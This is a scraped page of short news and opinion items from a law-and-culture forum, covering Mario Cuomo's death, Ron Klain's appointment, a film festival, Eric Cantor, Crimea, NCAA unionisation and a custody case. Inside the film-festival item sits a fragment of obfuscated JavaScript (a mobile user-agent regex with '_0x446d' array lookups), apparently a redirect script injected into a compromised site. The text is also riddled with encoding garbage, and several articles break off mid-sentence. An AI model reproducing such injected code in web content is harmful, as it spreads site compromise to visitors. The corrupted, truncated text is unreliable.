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The Forum Remembers Mario Cuomo

The Forum is deeply saddened to learn that Mario Cuomo, former governor of New York and a great friend of the Forum, passed away yesterday at his home in Manhattan.Ai??Cuomo enjoyed a decorated career in New York politics, serving as a three-term governor from 1983 to 1994. He remained a major figure in the Democratic party, a leader for Italian-Americans nationwide, and a champion of progressive politics thereafter. He will be remembered as a model public servant and a New York icon. He was 82. Cuomo was an extraordinarily popular political figure throughout his three gubernatorial terms, boldly endorsing a platform of “progressive pragmatism” during the Reagan era. He promoted sweeping social reforms while simultaneously balancing the state budget. His “Rebuild NY” campaign soughtAi??statewide improvements in transportation and infrastructure. The first African-American, Hispanic, and female judges of the New York Court of Appeals were appointed while he was in office.


Forum Guest Ron Klain Named Ebola Czar

President Obama announced this week that Ron Klain, the former chief of staff to vice presidents Al Gore and Joe Biden, will be appointed as the administration’s “Ebola czar.” Klain was a guest at the 2008 Forum Film Festival, where he spoke about his role in the 2000 Presidential election after a screening ofAi??Recount. (Kevin Spacey portrayed Klain in the film.) Following the election, he served as the general counsel to the Goreai??i??Lieberman Recount Committee, and was named a “Lawyer of the Year” by the National Law Journal for his efforts. Now Klain assumes the managerial role of ensuring that all the agencies involved in the federal response to the recent Ebola outbreak are acting in concert. White House Press Secretary Josh Earnest has described the position as an “important, high-level implementation role,” not unlike his recent work overseeing the appropriation of the American Recovery and Reinvestment Act of 2009.


Opening Night of the Forum Film Festival Featured in Huffington Post, Washington Square News

The opening night of the 2014 Forum Film Festival, which featured an advanced screening of Camp X-Ray with actress Kristen Stewart and director Peter Sattler, has been featured in both the Huffington Post and the Washington Square News.Ai??Camp X-Ray follows the moral dilemmas of Amy Cole (Stewart), who is assigned to Guantanamo Bayai??i??where “prisoners” are subject to the Geneva Convention but “detainees” are notai??i??after enlisting in the military. The Forum would like to thank Kristen Stewart and Peter Sattler for sharing their thoughts on the film with the Forum patrons, students, and other guests at NYU’s Tishman Auditorium on Tuesday Night. The Forum Film Festival continues on Tuesday, October 21 with John Ford’s classicAi??The Man Who Shot Liberty ValanceAi??followed by a post-screening conversation with United States Supreme Court Justice Hon. Stephen Breyer.   Camp X-RayAi??opens October 17. rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var


2014 Film Festival Guest Ayaan Hirsi Ali On The Israelai??i??Hamas Conflict

Somalian refugee and women’s-rights activist Ayaan Hirsi Ali recently gave an interview toAi??Israel Hayom, in which she defended Israel’s right to fight Hamas, argued that Benjamin Netanyahu should receive a Nobel Peace Prize, and asserted that no peaceful solution between Israel and Hamas will be possible so long as Hamas’ “philosophy on life and death” persists. Hirsi Ali was born in Somalia, where she faced the horrors of radical Islam first-hand before she gained asylum in the Netherlands. She will be a guest speaker at the Forum Film Festival for the screening of her 2004 filmAi??Submission; its director, Theo van Gogh, was tragically murdered in retaliation for the film’s portrayal of the violence committed against women in the radical Muslim world. In the interview, Hirsan Ali discusses the growth of extremist violence following 9/11, arguing that critics of Israel will be forced toAi??reconsider the danger as radical Islam spreads to


Right Place Wrong Time

ai???Soccerai??? as we Americans refer to it, is simply another sport within our society that has its share of leagues, clubs, and fanatics. In Brazil, however, it is their societyai??i??it embodies all that is Brazil. Brazilians live to play and watch soccer, it is in their blood. The 2014 FIFA World Cup is being held in Brazil for the first time since 1950. Yet, surprisingly, a poll taken in Brazil to determine whether Brazilians actually wanted to host the World Cup showed that 52% of the population was against it. It seems that there is more to the country than scoring goals.Ai?? Many Brazilians framed the World Cup within the context of human rights and handed out yellow cards to a government that cared more about enabling the worldai??i??s obsession with soccer than with taking care of its own people. Brazil, already crime filled country, in hosting the World Cup


Forum makes Above The Law, Jeopardy

Above the Law, a leading blog on legal education, has posted a piece noting the Forum’s recent move to NYU Law. It lauds the Forum for hosting “such luminaries as President Bill Clinton and [Supreme Court] Justice Sonia Sotomayor,” and for being an institution that goes “beyond the casebooks to look at broader social and cultural issues.” It also quotes Dean Trevor Morrison: I am very pleased to welcome the Forum on Law, Culture & Societ. Our curriculum emphasizes the interdisciplinary nature of law, and Thaneai??i??s programs, with their rich array of people and topics, will amplify that theme, both for members of the NYU Law community and for the public. Meanwhile, Ai??Jeopardy! recently asked a contestant about former Governor Mario Cuomo’s decision to join the Forum last fall for a screening ofAi??The Godfather, lifting his 40-year ban on seeing the film. Those of you who were in attendance can


After Primary Upset, Eric Cantor To Step Down As House Majority Leader

After losing the Republican primary election for the Seventh District of Virginia, Eric Cantor (Rai??i??VA) will be stepping down from his role as House Majority Leader. Cantor, a rising star in the Republican Party, announced Wednesday that his resignation would be effective July 31, in a primary election loss he called a “personal setback.”Ai??David Brat, his opponent, is an economics professor whose victory many are attributing to the increased sway of the Tea Party. Cantor was twice a guest of the Forum, having visited us in 2010 and, more recently, in SeptemberAi??2013. In a discussion at the 92nd Street Y with Forum Director Thane Rosenbaum, he spoke about the then-hot-button issue of the Syrian crisis, his experience as a Jewish Republican leader, and, of course, the growing influence of the Tea Party in national politics. https://www.youtube.com/watch?v=4veKBmf3kOA A video of the entire discussion is posted below, courtesy of the 92nd Street


Where Is The Moral Justice In Crimea?

by I.S. From a legal and political standpoint the decision to annex Crimea was simply outrageous, to quite literally the entire world.Ai?? However, what happens when we start to consider the desires of the people who actually live in Crimea.Ai?? The people, who voted, had a referendum and came out on the other side.Ai?? The ones who speak Russian, live their lives as ethnic Russians, but have not historically, since the separation, been part of the Russian Federation.Ai?? Is the world, purely from a legal and political standpoint allowed to say, no you cannot be part of the country you ethnically and culturally feel most at home.Ai?? You speak the same language, you share cultural traditions, but because the rest of the world says so, you cannot join the rest of your ai???tribe.ai??? Should it matter to us at all that the great majority of the people outraged by this


Death of the Student Athlete: The NCAA and Northwestern University Football’s Union

by S.S. On March 26, 2014, the National Labor Relations Board (ai???NLRBai???) in Chicago granted Northwestern University football players the right to unionize (a monumental ruling that could drastically alter the institution of college athletics as we know them today.Ai?? In short, this decision grants the Northwestern football players the right to vote on whether they want to be represented by the College Athletes Players Association (ai???CAPAai???), who initiated this action with support from the United Steelworkers Union.Ai?? The most profound part of this decision by NLRB Regional Director Peter Ohr is his conclusion that: ai???players receiving scholarships to perform football-related services for the Employer under a contract for hire in return for compensation are subject to the Employerai??i??s control and are therefore employees [under NLRA Ai?? 2(3)]ai??i??ai???.Ai?? This characterization of NCAA athletes as employees has the potential to shatter the entire foundation of American college athleticsai??i??the idea (or myth)


Does Free Speech Apply to Sperm?

by K.S. A custody battle in California over a child conceived through artificial insemination has become a controversial First Amendment debate.Ai?? Jason Patric, a Hollywood actor, and his ex-girlfriend, Danielle Schreiber, are engaged in a custody fight over their four-year-old son, Gus.Ai??Ai?? California law dictates that the mother of the child will receive full custody unless parental rights are established in writing before conception through artificial insemination. As part of his campaign to obtain custody of Gus, Patric created the organization Stand Up for Gus to raise awareness of parental alienation for fathers in similar situations.Ai?? Patric has used Gusai??i??s name and likeness as part of the promotional campaign surrounding Stand Up for Gus.Ai?? Schreiber subsequently sued Patric, allegedly that Patric is exploiting Gus for his own fame and using the media to garner support for his case.Ai?? At stake in the lawsuit is an injunction that would bar Patric